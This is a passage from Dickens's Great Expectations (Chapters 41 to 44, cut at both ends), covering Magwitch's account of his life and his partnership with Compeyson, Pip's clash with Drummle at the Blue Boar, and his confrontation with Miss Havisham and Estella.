know. And never believe me on mine, if Pip shan't +make a gentleman on you!" + + +Chapter 41 + +In vain should I attempt to describe the astonishment and disquiet +of Herbert, when he and I and Provis sat down before the fire, and +I recounted the whole of the secret. Enough, that I saw my own +feelings reflected in Herbert's face, and, not least among them, my +repugnance towards the man who had done so much for me. + +What would alone have set a division between that man and us, if +there had been no other dividing circumstance, was his triumph in +my story. Saving his troublesome sense of having been "low' on one +occasion since his return - on which point he began to hold forth +to Herbert, the moment my revelation was finished - he had no +perception of the possibility of my finding any fault with my good +fortune. His boast that he had made me a gentleman, and that he had +come to see me support the character on his ample resources, was +made for me quite as much as for himself; and that it was a highly +agreeable boast to both of us, and that we must both be very proud +of it, was a conclusion quite established in his own mind. + +"Though, look'ee here, Pip's comrade," he said to Herbert, after +having discoursed for some time, "I know very well that once since +I come back - for half a minute - I've been low. I said to Pip, I +knowed as I had been low. But don't you fret yourself on that +score. I ain't made Pip a gentleman, and Pip ain't a-going to make +you a gentleman, not fur me not to know what's due to ye both. Dear +boy, and Pip's comrade, you two may count upon me always having a +gen-teel muzzle on. Muzzled I have been since that half a minute +when I was betrayed into lowness, muzzled I am at the present time, +muzzled I ever will be." + +Herbert said, "Certainly," but looked as if there were no specific +consolation in this, and remained perplexed and dismayed. We were +anxious for the time when he would go to his lodging, and leave us +together, but he was evidently jealous of leaving us together, and +sat late. It was midnight before I took him round to Essex-street, +and saw him safely in at his own dark door. When it closed upon +him, I experienced the first moment of relief I had known since the +night of his arrival. + +Never quite free from an uneasy remembrance of the man on the +stairs, I had always looked about me in taking my guest out after +dark, and in bringing him back; and I looked about me now. +Difficult as it is in a large city to avoid the suspicion of being +watched, when the mind is conscious of danger in that regard, I +could not persuade myself that any of the people within sight cared +about my movements. The few who were passing, passed on their +several ways, and the street was empty when I turned back into the +Temple. Nobody had come out at the gate with us, nobody went in at +the gate with me. As I crossed by the fountain, I saw his lighted +back windows looking bright and quiet, and, when I stood for a few +moments in the doorway of the building where I lived, before going +up the stairs, Garden-court was as still and lifeless as the +staircase was when I ascended it. + +Herbert received me with open arms, and I had never felt before, so +blessedly, what it is to have a friend. When he had spoken some +sound words of sympathy and encouragement, we sat down to consider +the question, What was to be done? + +The chair that Provis had occupied still remaining where it had +stood - for he had a barrack way with him of hanging about one +spot, in one unsettled manner, and going through one round of +observances with his pipe and his negro-head and his jack-knife and +his pack of cards, and what not, as if it were all put down for him +on a slate - I say, his chair remaining where it had stood, Herbert +unconsciously took it, but next moment started out of it, pushed it +away, and took another. He had no occasion to say, after that, that +he had conceived an aversion for my patron, neither had I occasion +to confess my own. We interchanged that confidence without shaping +a syllable. + +"What," said I to Herbert, when he was safe in another chair, "what +is to be done?" + +"My poor dear Handel," he replied, holding his head, "I am too +stunned to think." + +"So was I, Herbert, when the blow first fell. Still, something must +be done. He is intent upon various new expenses - horses, and +carriages, and lavish appearances of all kinds. He must be stopped +somehow." + +"You mean that you can't accept--" + +"How can I?" I interposed, as Herbert paused. "Think of him! Look at +him!" + +An involuntary shudder passed over both of us. + +"Yet I am afraid the dreadful truth is, Herbert, that he is +attached to me, strongly attached to me. Was there ever such a +fate!" + +"My poor dear Handel," Herbert repeated. + +"Then," said I, "after all, stopping short here, never taking +another penny from him, think what I owe him already! Then again: I +am heavily in debt - very heavily for me, who have now no +expectations - and I have been bred to no calling, and I am fit for +nothing." + +"Well, well, well!" Herbert remonstrated. "Don't say fit for +nothing." + +"What am I fit for? I know only one thing that I am fit for, and +that is, to go for a soldier. And I might have gone, my dear +Herbert, but for the prospect of taking counsel with your +friendship and affection." + +Of course I broke down there: and of course Herbert, beyond seizing +a warm grip of my hand, pretended not to know it. + +"Anyhow, my dear Handel," said he presently, "soldiering won't do. +If you were to renounce this patronage and these favours, I suppose +you would do so with some faint hope of one day repaying what you +have already had. Not very strong, that hope, if you went +soldiering! Besides, it's absurd. You would be infinitely better in +Clarriker's house, small as it is. I am working up towards a +partnership, you know." + +Poor fellow! He little suspected with whose money. + +"But there is another question," said Herbert. "This is an ignorant +determined man, who has long had one fixed idea. More than that, he +seems to me (I may misjudge him) to be a man of a desperate and +fierce character." + +"I know he is," I returned. "Let me tell you what evidence I have +seen of it." And I told him what I had not mentioned in my +narrative; of that encounter with the other convict. + +"See, then," said Herbert; "think of this! He comes here at the +peril of his life, for the realization of his fixed idea. In the +moment of realization, after all his toil and waiting, you cut the +ground from under his feet, destroy his idea, and make his gains +worthless to him. Do you see nothing that he might do, under the +disappointment?" + +"I have seen it, Herbert, and dreamed of it, ever since the fatal +night of his arrival. Nothing has been in my thoughts so +distinctly, as his putting himself in the way of being taken." + +"Then you may rely upon it," said Herbert, "that there would be +great danger of his doing it. That is his power over you as long as +he remains in England, and that would be his reckless course if you +forsook him." + +I was so struck by the horror of this idea, which had weighed upon +me from the first, and the working out of which would make me +regard myself, in some sort, as his murderer, that I could not rest +in my chair but began pacing to and fro. I said to Herbert, +meanwhile, that even if Provis were recognized and taken, in spite +of himself, I should be wretched as the cause, however innocently. +Yes; even though I was so wretched in having him at large and near +me, and even though I would far far rather have worked at the forge +all the days of my life than I would ever have come to this! + +But there was no staving off the question, What was to be done? + +"The first and the main thing to be done," said Herbert, "is to get +him out of England. You will have to go with him, and then he may +be induced to go." + +"But get him where I will, could I prevent his coming back?" + +"My good Handel, is it not obvious that with Newgate in the next +street, there must be far greater hazard in your breaking your mind +to him and making him reckless, here, than elsewhere. If a pretext +to get him away could be made out of that other convict, or out of +anything else in his life, now." + +"There, again!" said I, stopping before Herbert, with my open hands +held out, as if they contained the desperation of the case. "I know +nothing of his life. It has almost made me mad to sit here of a +night and see him before me, so bound up with my fortunes and +misfortunes, and yet so unknown to me, except as the miserable +wretch who terrified me two days in my childhood!" + +Herbert got up, and linked his arm in mine, and we slowly walked to +and fro together, studying the carpet. + +"Handel," said Herbert, stopping, "you feel convinced that you can +take no further benefits from him; do you?" + +"Fully. Surely you would, too, if you were in my place?" + +"And you feel convinced that you must break with him?" + +"Herbert, can you ask me?" + +"And you have, and are bound to have, that tenderness for the life +he has risked on your account, that you must save him, if possible, +from throwing it away. Then you must get him out of England before +you stir a finger to extricate yourself. That done, extricate +yourself, in Heaven's name, and we'll see it out together, dear old +boy." + +It was a comfort to shake hands upon it, and walk up and down +again, with only that done. + +"Now, Herbert," said I, "with reference to gaining some knowledge +of his history. There is but one way that I know of. I must ask him +point-blank." + +"Yes. Ask him," said Herbert, "when we sit at breakfast in the +morning." For, he had said, on taking leave of Herbert, that he +would come to breakfast with us. + +With this project formed, we went to bed. I had the wildest dreams +concerning him, and woke unrefreshed; I woke, too, to recover the +fear which I had lost in the night, of his being found out as a +returned transport. Waking, I never lost that fear. + +He came round at the appointed time, took out his jack-knife, and +sat down to his meal. He was full of plans "for his gentleman's +coming out strong, and like a gentleman," and urged me to begin +speedily upon the pocket-book, which he had left in my possession. +He considered the chambers and his own lodging as temporary +residences, and advised me to look out at once for a "fashionable +crib" near Hyde Park, in which he could have "a shake-down". When +he had made an end of his breakfast, and was wiping his knife on +his leg, I said to him, without a word of preface: + +"After you were gone last night, I told my friend of the struggle +that the soldiers found you engaged in on the marshes, when we came +up. You remember?" + +"Remember!" said he. "I think so!" + +"We want to know something about that man - and about you. It is +strange to know no more about either, and particularly you, than I +was able to tell last night. Is not this as good a time as another +for our knowing more?" + +"Well!" he said, after consideration. "You're on your oath, you +know, Pip's comrade?" + +"Assuredly," replied Herbert. + +"As to anything I say, you know," he insisted. "The oath applies to +all." + +"I understand it to do so." + +"And look'ee here! Wotever I done, is worked out and paid for," he +insisted again. + +"So be it." + +He took out his black pipe and was going to fill it with negrohead, +when, looking at the tangle of tobacco in his hand, he seemed to +think it might perplex the thread of his narrative. He put it back +again, stuck his pipe in a button-hole of his coat, spread a hand +on each knee, and, after turning an angry eye on the fire for a few +silent moments, looked round at us and said what follows. + + +Chapter 42 + +"Dear boy and Pip's comrade. I am not a-going fur to tell you my +life, like a song or a story-book. But to give it you short and +handy, I'll put it at once into a mouthful of English. In jail and +out of jail, in jail and out of jail, in jail and out of jail. +There, you got it. That's my life pretty much, down to such times +as I got shipped off, arter Pip stood my friend. + +"I've been done everything to, pretty well - except hanged. I've +been locked up, as much as a silver tea-kettle. I've been carted +here and carted there, and put out of this town and put out of that +town, and stuck in the stocks, and whipped and worried and drove. +I've no more notion where I was born, than you have - if so much. I +first become aware of myself, down in Essex, a thieving turnips for +my living. Summun had run away from me - a man - a tinker - and +he'd took the fire with him, and left me wery cold. + +"I know'd my name to be Magwitch, chrisen'd Abel. How did I know +it? Much as I know'd the birds' names in the hedges to be +chaffinch, sparrer, thrush. I might have thought it was all lies +together, only as the birds' names come out true, I supposed mine +did. + +"So fur as I could find, there warn't a soul that see young Abel +Magwitch, with us little on him as in him, but wot caught fright at +him, and either drove him off, or took him up. I was took up, took +up, took up, to that extent that I reg'larly grow'd up took up. + +"This is the way it was, that when I was a ragged little creetur as +much to be pitied as ever I see (not that I looked in the glass, +for there warn't many insides of furnished houses known to me), I +got the name of being hardened. "This is a terrible hardened one," +they says to prison wisitors, picking out me. "May be said to live +in jails, this boy. "Then they looked at me, and I looked at them, +and they measured my head, some on 'em - they had better a-measured +my stomach - and others on 'em giv me tracts what I couldn't read, +and made me speeches what I couldn't understand. They always went +on agen me about the Devil. But what the Devil was I to do? I must +put something into my stomach, mustn't I? - Howsomever, I'm a +getting low, and I know what's due. Dear boy and Pip's comrade, +don't you be afeerd of me being low. + +"Tramping, begging, thieving, working sometimes when I could - +though that warn't as often as you may think, till you put the +question whether you would ha' been over-ready to give me work +yourselves - a bit of a poacher, a bit of a labourer, a bit of a +waggoner, a bit of a haymaker, a bit of a hawker, a bit of most +things that don't pay and lead to trouble, I got to be a man. A +deserting soldier in a Traveller's Rest, what lay hid up to the +chin under a lot of taturs, learnt me to read; and a travelling +Giant what signed his name at a penny a time learnt me to write. I +warn't locked up as often now as formerly, but I wore out my good +share of keymetal still. + +"At Epsom races, a matter of over twenty years ago, I got +acquainted wi' a man whose skull I'd crack wi' this poker, like the +claw of a lobster, if I'd got it on this hob. His right name was +Compeyson; and that's the man, dear boy, what you see me a-pounding +in the ditch, according to what you truly told your comrade arter I +was gone last night. + +"He set up fur a gentleman, this Compeyson, and he'd been to a +public boarding-school and had learning. He was a smooth one to +talk, and was a dab at the ways of gentlefolks. He was +good-looking too. It was the night afore the great race, when I +found him on the heath, in a booth that I know'd on. Him and some +more was a sitting among the tables when I went in, and the +landlord (which had a knowledge of me, and was a sporting one) +called him out, and said, 'I think this is a man that might suit +you' - meaning I was. + +"Compeyson, he looks at me very noticing, and I look at him. He has +a watch and a chain and a ring and a breast-pin and a handsome suit +of clothes. + +"'To judge from appearances, you're out of luck,' says Compeyson to +me. + +"'Yes, master, and I've never been in it much.' (I had come out of +Kingston Jail last on a vagrancy committal. Not but what it might +have been for something else; but it warn't.) + +"'Luck changes,' says Compeyson; 'perhaps yours is going to change.' + +"I says, 'I hope it may be so. There's room.' + +"'What can you do?' says Compeyson. + +"'Eat and drink,' I says; 'if you'll find the materials.' + +"Compeyson laughed, looked at me again very noticing, giv me five +shillings, and appointed me for next night. Same place. + +"I went to Compeyson next night, same place, and Compeyson took me +on to be his man and pardner. And what was Compeyson's business in +which we was to go pardners? Compeyson's business was the +swindling, handwriting forging, stolen bank-note passing, and +such-like. All sorts of traps as Compeyson could set with his head, +and keep his own legs out of and get the profits from and let +another man in for, was Compeyson's business. He'd no more heart +than a iron file, he was as cold as death, and he had the head of +the Devil afore mentioned. + +"There was another in with Compeyson, as was called Arthur - not as +being so chrisen'd, but as a surname. He was in a Decline, and was +a shadow to look at. Him and Compeyson had been in a bad thing with +a rich lady some years afore, and they'd made a pot of money by it; +but Compeyson betted and gamed, and he'd have run through the +king's taxes. So, Arthur was a-dying, and a-dying poor and with the +horrors on him, and Compeyson's wife (which Compeyson kicked +mostly) was a-having pity on him when she could, and Compeyson was +a-having pity on nothing and nobody. + +"I might a-took warning by Arthur, but I didn't; and I won't +pretend I was partick'ler - for where 'ud be the good on it, dear +boy and comrade? So I begun wi' Compeyson, and a poor tool I was in +his hands. Arthur lived at the top of Compeyson's house (over nigh +Brentford it was), and Compeyson kept a careful account agen him +for board and lodging, in case he should ever get better to work it +out. But Arthur soon settled the account. The second or third time +as ever I see him, he come a-tearing down into Compeyson's parlour +late at night, in only a flannel gown, with his hair all in a +sweat, and he says to Compeyson's wife, 'Sally, she really is +upstairs alonger me, now, and I can't get rid of her. She's all in +white,' he says, 'wi' white flowers in her hair, and she's awful +mad, and she's got a shroud hanging over her arm, and she says +she'll put it on me at five in the morning.' + +"Says Compeyson: 'Why, you fool, don't you know she's got a living +body? And how should she be up there, without coming through the +door, or in at the window, and up the stairs?' + +"'I don't know how she's there,' says Arthur, shivering dreadful +with the horrors, 'but she's standing in the corner at the foot of +the bed, awful mad. And over where her heart's brook - you broke +it! - there's drops of blood.' + +"Compeyson spoke hardy, but he was always a coward. 'Go up alonger +this drivelling sick man,' he says to his wife, 'and Magwitch, lend +her a hand, will you?' But he never come nigh himself. + +"Compeyson's wife and me took him up to bed agen, and he raved most +dreadful. 'Why look at her!' he cries out. 'She's a-shaking the +shroud at me! Don't you see her? Look at her eyes! Ain't it awful to +see her so mad?' Next, he cries, 'She'll put it on me, and then I'm +done for! Take it away from her, take it away!' And then he catched +hold of us, and kep on a-talking to her, and answering of her, till +I half believed I see her myself. + +"Compeyson's wife, being used to him, giv him some liquor to get +the horrors off, and by-and-by he quieted. 'Oh, she's gone! Has her +keeper been for her?' he says. 'Yes,' says Compeyson's wife. 'Did +you tell him to lock her and bar her in?' 'Yes.' 'And to take that +ugly thing away from her?' 'Yes, yes, all right.' 'You're a good +creetur,' he says, 'don't leave me, whatever you do, and thank +you!' + +"He rested pretty quiet till it might want a few minutes of five, +and then he starts up with a scream, and screams out, 'Here she +is! She's got the shroud again. She's unfolding it. She's coming out +of the corner. She's coming to the bed. Hold me, both on you - one +of each side - don't let her touch me with it. Hah! she missed me +that time. Don't let her throw it over my shoulders. Don't let her +lift me up to get it round me. She's lifting me up. Keep me down!' +Then he lifted himself up hard, and was dead. + +"Compeyson took it easy as a good riddance for both sides. Him and +me was soon busy, and first he swore me (being ever artful) on my +own book - this here little black book, dear boy, what I swore your +comrade on. + +"Not to go into the things that Compeyson planned, and I done - +which 'ud take a week - I'll simply say to you, dear boy, and Pip's +comrade, that that man got me into such nets as made me his black +slave. I was always in debt to him, always under his thumb, always +a-working, always a-getting into danger. He was younger than me, +but he'd got craft, and he'd got learning, and he overmatched me +five hundred times told and no mercy. My Missis as I had the hard +time wi' - Stop though! I ain't brought her in--" + +He looked about him in a confused way, as if he had lost his place +in the book of his remembrance; and he turned his face to the fire, +and spread his hands broader on his knees, and lifted them off and +put them on again. + +"There ain't no need to go into it," he said, looking round once +more. "The time wi' Compeyson was a'most as hard a time as ever I +had; that said, all's said. Did I tell you as I was tried, alone, +for misdemeanour, while with Compeyson?" + +I answered, No. + +"Well!" he said, "I was, and got convicted. As to took up on +suspicion, that was twice or three times in the four or five year +that it lasted; but evidence was wanting. At last, me and Compeyson +was both committed for felony - on a charge of putting stolen notes +in circulation - and there was other charges behind. Compeyson says +to me, 'Separate defences, no communication,' and that was all. And +I was so miserable poor, that I sold all the clothes I had, except +what hung on my back, afore I could get Jaggers. + +"When we was put in the dock, I noticed first of all what a +gentleman Compeyson looked, wi' his curly hair and his black +clothes and his white pocket-handkercher, and what a common sort of +a wretch I looked. When the prosecution opened and the evidence was +put short, aforehand, I noticed how heavy it all bore on me, and +how light on him. When the evidence was giv in the box, I noticed +how it was always me that had come for'ard, and could be swore to, +how it was always me that the money had been paid to, how it was +always me that had seemed to work the thing and get the profit. +But, when the defence come on, then I see the plan plainer; for, +says the counsellor for Compeyson, 'My lord and gentlemen, here you +has afore you, side by side, two persons as your eyes can separate +wide; one, the younger, well brought up, who will be spoke to as +such; one, the elder, ill brought up, who will be spoke to as such; +one, the younger, seldom if ever seen in these here transactions, +and only suspected; t'other, the elder, always seen in 'em and +always wi'his guilt brought home. Can you doubt, if there is but +one in it, which is the one, and, if there is two in it, which is +much the worst one?' And such-like. And when it come to character, +warn't it Compeyson as had been to the school, and warn't it his +schoolfellows as was in this position and in that, and warn't it +him as had been know'd by witnesses in such clubs and societies, +and nowt to his disadvantage? And warn't it me as had been tried +afore, and as had been know'd up hill and down dale in Bridewells +and Lock-Ups? And when it come to speech-making, warn't it +Compeyson as could speak to 'em wi' his face dropping every now and +then into his white pocket-handkercher - ah! and wi' verses in his +speech, too - and warn't it me as could only say, 'Gentlemen, this +man at my side is a most precious rascal'? And when the verdict +come, warn't it Compeyson as was recommended to mercy on account of +good character and bad company, and giving up all the information +he could agen me, and warn't it me as got never a word but Guilty? +And when I says to Compeyson, 'Once out of this court, I'll smash +that face of yourn!' ain't it Compeyson as prays the Judge to be +protected, and gets two turnkeys stood betwixt us? And when we're +sentenced, ain't it him as gets seven year, and me fourteen, and +ain't it him as the Judge is sorry for, because he might a done so +well, and ain't it me as the Judge perceives to be a old offender +of wiolent passion, likely to come to worse?" + +He had worked himself into a state of great excitement, but he +checked it, took two or three short breaths, swallowed as often, +and stretching out his hand towards me said, in a reassuring +manner, "I ain't a-going to be low, dear boy!" + +He had so heated himself that he took out his handkerchief and +wiped his face and head and neck and hands, before he could go on. + +"I had said to Compeyson that I'd smash that face of his, and I +swore Lord smash mine! to do it. We was in the same prison-ship, +but I couldn't get at him for long, though I tried. At last I come +behind him and hit him on the cheek to turn him round and get a +smashing one at him, when I was seen and seized. The black-hole of +that ship warn't a strong one, to a judge of black-holes that could +swim and dive. I escaped to the shore, and I was a hiding among the +graves there, envying them as was in 'em and all over, when I first +see my boy!" + +He regarded me with a look of affection that made him almost +abhorrent to me again, though I had felt great pity for him. + +"By my boy, I was giv to understand as Compeyson was out on them +marshes too. Upon my soul, I half believe he escaped in his terror, +to get quit of me, not knowing it was me as had got ashore. I +hunted him down. I smashed his face. 'And now,' says I 'as the +worst thing I can do, caring nothing for myself, I'll drag you +back.' And I'd have swum off, towing him by the hair, if it had +come to that, and I'd a got him aboard without the soldiers. + +"Of course he'd much the best of it to the last - his character was +so good. He had escaped when he was made half-wild by me and my +murderous intentions; and his punishment was light. I was put in +irons, brought to trial again, and sent for life. I didn't stop for +life, dear boy and Pip's comrade, being here." + +"He wiped himself again, as he had done before, and then slowly +took his tangle of tobacco from his pocket, and plucked his pipe +from his button-hole, and slowly filled it, and began to smoke. + +"Is he dead?" I asked, after a silence. + +"Is who dead, dear boy?" + +"Compeyson." + +"He hopes I am, if he's alive, you may be sure," with a fierce +look. "I never heerd no more of him." + +Herbert had been writing with his pencil in the cover of a book. He +softly pushed the book over to me, as Provis stood smoking with his +eyes on the fire, and I read in it: + +"Young Havisham's name was Arthur. Compeyson is the man who +professed to be Miss Havisham's lover." + +I shut the book and nodded slightly to Herbert, and put the book +by; but we neither of us said anything, and both looked at Provis +as he stood smoking by the fire. + + +Chapter 43 + +Why should I pause to ask how much of my shrinking from Provis +might be traced to Estella? Why should I loiter on my road, to +compare the state of mind in which I had tried to rid myself of the +stain of the prison before meeting her at the coach-office, with +the state of mind in which I now reflected on the abyss between +Estella in her pride and beauty, and the returned transport whom I +harboured? The road would be none the smoother for it, the end +would be none the better for it, he would not be helped, nor I +extenuated. + +A new fear had been engendered in my mind by his narrative; or +rather, his narrative had given form and purpose to the fear that +was already there. If Compeyson were alive and should discover his +return, I could hardly doubt the consequence. That, Compeyson stood +in mortal fear of him, neither of the two could know much better +than I; and that, any such man as that man had been described to +be, would hesitate to release himself for good from a dreaded enemy +by the safe means of becoming an informer, was scarcely to be +imagined. + +Never had I breathed, and never would I breathe - or so I resolved +- a word of Estella to Provis. But, I said to Herbert that before I +could go abroad, I must see both Estella and Miss Havisham. This +was when we were left alone on the night of the day when Provis +told us his story. I resolved to go out to Richmond next day, and I +went. + +On my presenting myself at Mrs. Brandley's, Estella's maid was +called to tell that Estella had gone into the country. Where? To +Satis House, as usual. Not as usual, I said, for she had never yet +gone there without me; when was she coming back? There was an air +of reservation in the answer which increased my perplexity, and the +answer was, that her maid believed she was only coming back at all +for a little while. I could make nothing of this, except that it +was meant that I should make nothing of it, and I went home again +in complete discomfiture. + +Another night-consultation with Herbert after Provis was gone home +(I always took him home, and always looked well about me), led us +to the conclusion that nothing should be said about going abroad +until I came back from Miss Havisham's. In the meantime, Herbert +and I were to consider separately what it would be best to say; +whether we should devise any pretence of being afraid that he was +under suspicious observation; or whether I, who had never yet been +abroad, should propose an expedition. We both knew that I had but +to propose anything, and he would consent. We agreed that his +remaining many days in his present hazard was not to be thought of. + +Next day, I had the meanness to feign that I was under a binding +promise to go down to Joe; but I was capable of almost any meanness +towards Joe or his name. Provis was to be strictly careful while I +was gone, and Herbert was to take the charge of him that I had +taken. I was to be absent only one night, and, on my return, the +gratification of his impatience for my starting as a gentleman on a +greater scale, was to be begun. It occurred to me then, and as I +afterwards found to Herbert also, that he might be best got away +across the water, on that pretence - as, to make purchases, or the +like. + +Having thus cleared the way for my expedition to Miss Havisham's, I +set off by the early morning coach before it was yet light, and was +out on the open country-road when the day came creeping on, halting +and whimpering and shivering, and wrapped in patches of cloud and +rags of mist, like a beggar. When we drove up to the Blue Boar +after a drizzly ride, whom should I see come out under the gateway, +toothpick in hand, to look at the coach, but Bentley Drummle! + +As he pretended not to see me, I pretended not to see him. It was a +very lame pretence on both sides; the lamer, because we both went +into the coffee-room, where he had just finished his breakfast, and +where I ordered mine. It was poisonous to me to see him in the +town, for I very well knew why he had come there. + +Pretending to read a smeary newspaper long out of date, which had +nothing half so legible in its local news, as the foreign matter of +coffee, pickles, fish-sauces, gravy, melted butter, and wine, with +which it was sprinkled all over, as if it had taken the measles in +a highly irregular form, I sat at my table while he stood before +the fire. By degrees it became an enormous injury to me that he +stood before the fire, and I got up, determined to have my share of +it. I had to put my hand behind his legs for the poker when I went +up to the fire-place to stir the fire, but still pretended not to +know him. + +"Is this a cut?" said Mr. Drummle. + +"Oh!" said I, poker in hand; "it's you, is it? How do you do? I was +wondering who it was, who kept the fire off." + +With that, I poked tremendously, and having done so, planted myself +side by side with Mr. Drummle, my shoulders squared and my back to +the fire. + +"You have just come down?" said Mr. Drummle, edging me a little away +with his shoulder. + +"Yes," said I, edging him a little away with my shoulder. + +"Beastly place," said Drummle. - "Your part of the country, I +think?" + +"Yes," I assented. "I am told it's very like your Shropshire." + +"Not in the least like it," said Drummle. + +Here Mr. Drummle looked at his boots, and I looked at mine, and then +Mr. Drummle looked at my boots, and I looked at his. + +"Have you been here long?" I asked, determined not to yield an inch +of the fire. + +"Long enough to be tired of it," returned Drummle, pretending to +yawn, but equally determined. + +"Do you stay here long?" + +"Can't say," answered Mr. Drummle. "Do you?" + +"Can't say," said I. + +I felt here, through a tingling in my blood, that if Mr. Drummle's +shoulder had claimed another hair's breadth of room, I should have +jerked him into the window; equally, that if my own shoulder had +urged a similar claim, Mr. Drummle would have jerked me into the +nearest box. He whistled a little. So did I. + +"Large tract of marshes about here, I believe?" said Drummle. + +"Yes. What of that?" said I. + +Mr. Drummle looked at me, and then at my boots, and then said, "Oh!" +and laughed. + +"Are you amused, Mr. Drummle?" + +"No," said he, "not particularly. I am going out for a ride in the +saddle. I mean to explore those marshes for amusement. +Out-of-the-way villages there, they tell me. Curious little +public-houses - and smithies - and that. Waiter!" + +"Yes, sir." + +"Is that horse of mine ready?" + +"Brought round to the door, sir." + +"I say. Look here, you sir. The lady won't ride to-day; the weather +won't do." + +"Very good, sir." + +"And I don't dine, because I'm going to dine at the lady's." + +"Very good, sir." + +Then, Drummle glanced at me, with an insolent triumph on his +great-jowled face that cut me to the heart, dull as he was, and so +exasperated me, that I felt inclined to take him in my arms (as the +robber in the story-book is said to have taken the old lady), and +seat him on the fire. + +One thing was manifest to both of us, and that was, that until +relief came, neither of us could relinquish the fire. There we +stood, well squared up before it, shoulder to shoulder and foot to +foot, with our hands behind us, not budging an inch. The horse was +visible outside in the drizzle at the door, my breakfast was put on +the table, Drummle's was cleared away, the waiter invited me to +begin, I nodded, we both stood our ground. + +"Have you been to the Grove since?" said Drummle. + +"No," said I, "I had quite enough of the Finches the last time I +was there." + +"Was that when we had a difference of opinion?" + +"Yes," I replied, very shortly. + +"Come, come! They let you off easily enough," sneered Drummle. "You +shouldn't have lost your temper." + +"Mr. Drummle," said I, "you are not competent to give advice on that +subject. When I lose my temper (not that I admit having done so on +that occasion), I don't throw glasses." + +"I do," said Drummle. + +After glancing at him once or twice, in an increased state of +smouldering ferocity, I said: + +"Mr. Drummle, I did not seek this conversation, and I don't think it +an agreeable one." + +"I am sure it's not," said he, superciliously over his shoulder; "I +don't think anything about it." + +"And therefore," I went on, "with your leave, I will suggest that +we hold no kind of communication in future." + +"Quite my opinion," said Drummle, "and what I should have suggested +myself, or done - more likely - without suggesting. But don't lose +your temper. Haven't you lost enough without that?" + +"What do you mean, sir?" + +"Wai-ter!" said Drummle, by way of answering me. + +The waiter reappeared. + +"Look here, you sir. You quite understand that the young lady don't +ride to-day, and that I dine at the young lady's?" + +"Quite so, sir!" + +When the waiter had felt my fast cooling tea-pot with the palm of +his hand, and had looked imploringly at me, and had gone out, +Drummle, careful not to move the shoulder next me, took a cigar +from his pocket and bit the end off, but showed no sign of +stirring. Choking and boiling as I was, I felt that we could not go +a word further, without introducing Estella's name, which I could +not endure to hear him utter; and therefore I looked stonily at the +opposite wall, as if there were no one present, and forced myself +to silence. How long we might have remained in this ridiculous +position it is impossible to say, but for the incursion of three +thriving farmers - led on by the waiter, I think - who came into +the coffee-room unbuttoning their great-coats and rubbing their +hands, and before whom, as they charged at the fire, we were +obliged to give way. + +I saw him through the window, seizing his horse's mane, and +mounting in his blundering brutal manner, and sidling and backing +away. I thought he was gone, when he came back, calling for a light +for the cigar in his mouth, which he had forgotten. A man in a +dustcoloured dress appeared with what was wanted - I could not have +said from where: whether from the inn yard, or the street, or where +not - and as Drummle leaned down from the saddle and lighted his +cigar and laughed, with a jerk of his head towards the coffee-room +windows, the slouching shoulders and ragged hair of this man, whose +back was towards me, reminded me of Orlick. + +Too heavily out of sorts to care much at the time whether it were +he or no, or after all to touch the breakfast, I washed the weather +and the journey from my face and hands, and went out to the +memorable old house that it would have been so much the better for +me never to have entered, never to have seen. + + +Chapter 44 + +In the room where the dressing-table stood, and where the wax +candles burnt on the wall, I found Miss Havisham and Estella; Miss +Havisham seated on a settee near the fire, and Estella on a cushion +at her feet. Estella was knitting, and Miss Havisham was looking +on. They both raised their eyes as I went in, and both saw an +alteration in me. I derived that, from the look they interchanged. + +"And what wind," said Miss Havisham, "blows you here, Pip?" + +Though she looked steadily at me, I saw that she was rather +confused. Estella, pausing a moment in her knitting with her eyes +upon me, and then going on, I fancied that I read in the action of +her fingers, as plainly as if she had told me in the dumb alphabet, +that she perceived I had discovered my real benefactor. + +"Miss Havisham," said I, "I went to Richmond yesterday, to speak to +Estella; and finding that some wind had blown her here, I +followed." + +Miss Havisham motioning to me for the third or fourth time to sit +down, I took the chair by the dressing-table, which I had often +seen her occupy. With all that ruin at my feet and about me, it +seemed a natural place for me, that day. + +"What I had to say to Estella, Miss Havisham, I will say before +you, presently - in a few moments. It will not surprise you, it +will not displease you. I am as unhappy as you can ever have meant +me to be." + +Miss Havisham continued to look steadily at me. I could see in the +action of Estella's fingers as they worked, that she attended to +what I said: but she did not look up. + +"I have found out who my patron is. It is not a fortunate +discovery, and is not likely ever to enrich me in reputation, +station, fortune, anything. There are reasons why I must say no +more of that. It is not my secret, but another's." + +As I was silent for a while, looking at Estella and considering how +to go on, Miss Havisham repeated, "It is not your secret, but +another's. Well?" + +"When you first caused me to be brought here, Miss Havisham; when I +belonged to the village over yonder, that I wish I had never left; +I suppose I did really come here, as any other chance boy might +have come - as a kind of servant, to gratify a want or a whim, and +to be paid for it?" + +"Ay, Pip," replied Miss Havisham, steadily nodding her head; "you +did." + +"And that Mr. Jaggers--" + +"Mr. Jaggers," said Miss Havisham, taking me up in a firm tone, "had +nothing to do with it, and knew nothing of it. His being my lawyer, +and his being the lawyer of your patron, is a coincidence. He holds +the same relation towards numbers of people, and it might easily +arise. Be that as it may, it did arise, and was not brought about +by any one." + +Any one might have seen in her haggard face that there was no +suppression or evasion so far. + +"But when I fell into the mistake I have so long remained in, at +least you led me on?" said I. + +"Yes," she returned, again nodding, steadily, "I let you go on." + +"Was that kind?" + +"Who am I," cried Miss Havisham, striking her stick upon the floor +and flashing into wrath so suddenly that Estella glanced up at her +in surprise, "who am I, for God's sake, that I should be kind?" + +It was a weak complaint to have made, and I had not meant to make +it. I told her so, as she sat brooding after this outburst. + +"Well, well, well!" she said. "What else?" + +"I was liberally paid for my old attendance here," I said, to +soothe her, "in being apprenticed, and I have asked these questions +only for my own information. What follows has another (and I hope +more disinterested) purpose. In humouring my mistake, Miss +Havisham, you punished - practised on - perhaps you will supply +whatever term expresses your intention, without offence - your +self-seeking relations?" + +"I did. Why, they would have it so! So would you. What has been my +history, that I should be at the pains of entreating either them, +or you, not to have it so! You made your own snares. I never made +them." + +Waiting until she was quiet again - for this, too, flashed out of +her in a wild and sudden way - I went on. + +"I have been thrown among one family of your relations, Miss +Havisham, and have been constantly among them since I went to +London. I know them to have been as honestly under my delusion as I +myself. And I should be false and base if I did not tell you, +whether it is acceptable to you or no, and whether you are inclined +to give credence to it or no, that you deeply wrong both Mr. Matthew +Pocket and his son Herbert, if you suppose them to be otherwise +than generous, upright, open, and incapable of anything designing +or mean." + +"They are your friends," said Miss Havisham. + +"They made themselves my friends," said I, "when they supposed me +to have superseded them; and when Sarah Pocket, Miss Georgiana, and +Mistress Camilla, were not my friends, I think." + +This contrasting of them with the rest seemed, I was glad to 